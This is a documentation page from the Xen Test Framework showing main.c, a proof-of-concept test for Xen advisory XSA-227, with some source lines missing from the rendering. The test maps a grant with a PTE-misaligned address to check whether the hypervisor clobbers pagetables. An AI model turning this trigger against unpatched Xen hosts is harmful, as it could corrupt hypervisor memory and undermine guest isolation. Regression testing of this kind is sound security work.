Xen Test Framework
main.c
Go to the documentation of this file.
1 
22 #include <xtf.h>
23 
24 const char test_title[] = "XSA-227 PoC";
25 
27 
28 void test_main(void)
29 {
30  int rc = xtf_init_grant_table(1);
31 
32  if ( rc )
33  return xtf_error("Error initialising grant table: %d\n", rc);
34 
35  int domid = xtf_get_domid();
36 
37  if ( domid < 0 )
38  return xtf_error("Error getting domid\n");
39 
40  /*
41  * Construct gref 8 to allow frame[] to be mapped by ourselves.
42  */
43  gnttab_v1[8].domid = domid;
45  smp_wmb();
47 
48  /* Opencoded pagewalk to KB(4) */
50  intpte_t *l3t = maddr_to_virt(pte_to_paddr(l4t[0]));
52  intpte_t *l1t = maddr_to_virt(pte_to_paddr(l2t[0]));
53 
54  /*
55  * Unmap the linear address we are going to mostly clobber. Reduces the
56  * chance of Xen falling over a refcounting problem.
57  */
59  return xtf_error("Failed to unmap KB(8)\n");
60 
61  struct gnttab_map_grant_ref map = {
62  .host_addr = virt_to_maddr(&l1t[2]) - 2,
64  .ref = 8,
65  .dom = domid,
66  };
67 
68  /*
69  * Try to map frame[] to ourselves with a PTE-misaligned machine address.
70  */
72 
73  if ( !rc && !map.status )
74  /* Map call succeeded. */
75  xtf_failure("Fail: Vulnerable to XSA-227\n");
76  else
77  /* Map call failed. */
78  printk("Probably not vulnerable to XSA-227\n");
79 
80  printk("Attempting to confirm...\n");
81 
82  exinfo_t fault = 0;
83  unsigned int discard;
84 
85  /*
86  * Try to use the linear address which was clobbered by the map call.
87  */
88  asm volatile ("1: mov %[ptr], %[res]; 2:"
89  _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
90  : "+a" (fault),
91  [res] "=q" (discard)
92  : [ptr] "m" (*(char *)KB(4)),
93  [rec] "p" (ex_record_fault_eax));
94 
95  switch ( fault )
96  {
97  case 0:
98  /* No fault => the PTE wasn't clobbered. */
99  xtf_success("Success: Not vulnerable to XSA-227\n");
100  break;
101 
102  case EXINFO_SYM(PF, PFEC_SYM(R, P)):
103  /* #PF[Rsvd] => the PTE was clobbered. */
104  xtf_failure("Failure: Got Rsvd #PF\n");
105  break;
106 
107  default:
108  xtf_error("Unexpected fault %#x, %pe\n", fault, _p(fault));
109  break;
110  }
111 }
112 
113 /*
114  * Local variables:
115  * mode: C
116  * c-file-style: "BSD"
117  * c-basic-offset: 4
118  * tab-width: 4
119  * indent-tabs-mode: nil
120  * End:
121  */
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:115
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
#define __page_aligned_bss
Definition: compiler.h:37
#define GNTMAP_contains_pte
Definition: grant_table.h:197
paddr_t pte_to_paddr(intpte_t pte)
static uint8_t frame[PAGE_SIZE]
Definition: main.c:26
#define GNTMAP_host_map
Definition: grant_table.h:179
void printk(const char *fmt,...)
Definition: console.c:134
#define smp_wmb()
Definition: barrier.h:36
#define PFEC_SYM(...)
Create pagetable error code based on mnemonics.
int xtf_get_domid(void)
Obtain the current domid.
Definition: lib.c:47
uint64_t virt_to_maddr(const void *va)
uint32_t frame
Definition: grant_table.h:117
intpte_t l2t[512]
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define KB(num)
Express num in Kilobytes.
Definition: numbers.h:23
unsigned long pt_base
Definition: xen.h:223
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
void * maddr_to_virt(uint64_t maddr)
static unsigned long virt_to_gfn(const void *va)
Definition: mm.h:100
unsigned long intpte_t
Definition: page.h:152
int xtf_init_grant_table(unsigned int version)
Initialise XTF&#39;s grant infrastructure.
Definition: grant_table.c:21
const char test_title[]
The title of the test.
Definition: main.c:14
domid_t domid
Definition: grant_table.h:110
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
#define PAGE_SIZE
Definition: page.h:11
grant_entry_v1_t gnttab_v1[]
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
static long hypercall_grant_table_op(unsigned int cmd, void *args, unsigned int count)
Definition: hypercall.h:131
xen_pv_start_info_t * pv_start_info
Definition: traps.c:14
uint16_t flags
Definition: grant_table.h:108
#define GTF_permit_access
Definition: grant_table.h:50
__UINT8_TYPE__ uint8_t
Definition: stdint.h:14
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38
#define GNTTABOP_map_grant_ref
Definition: grant_table.h:223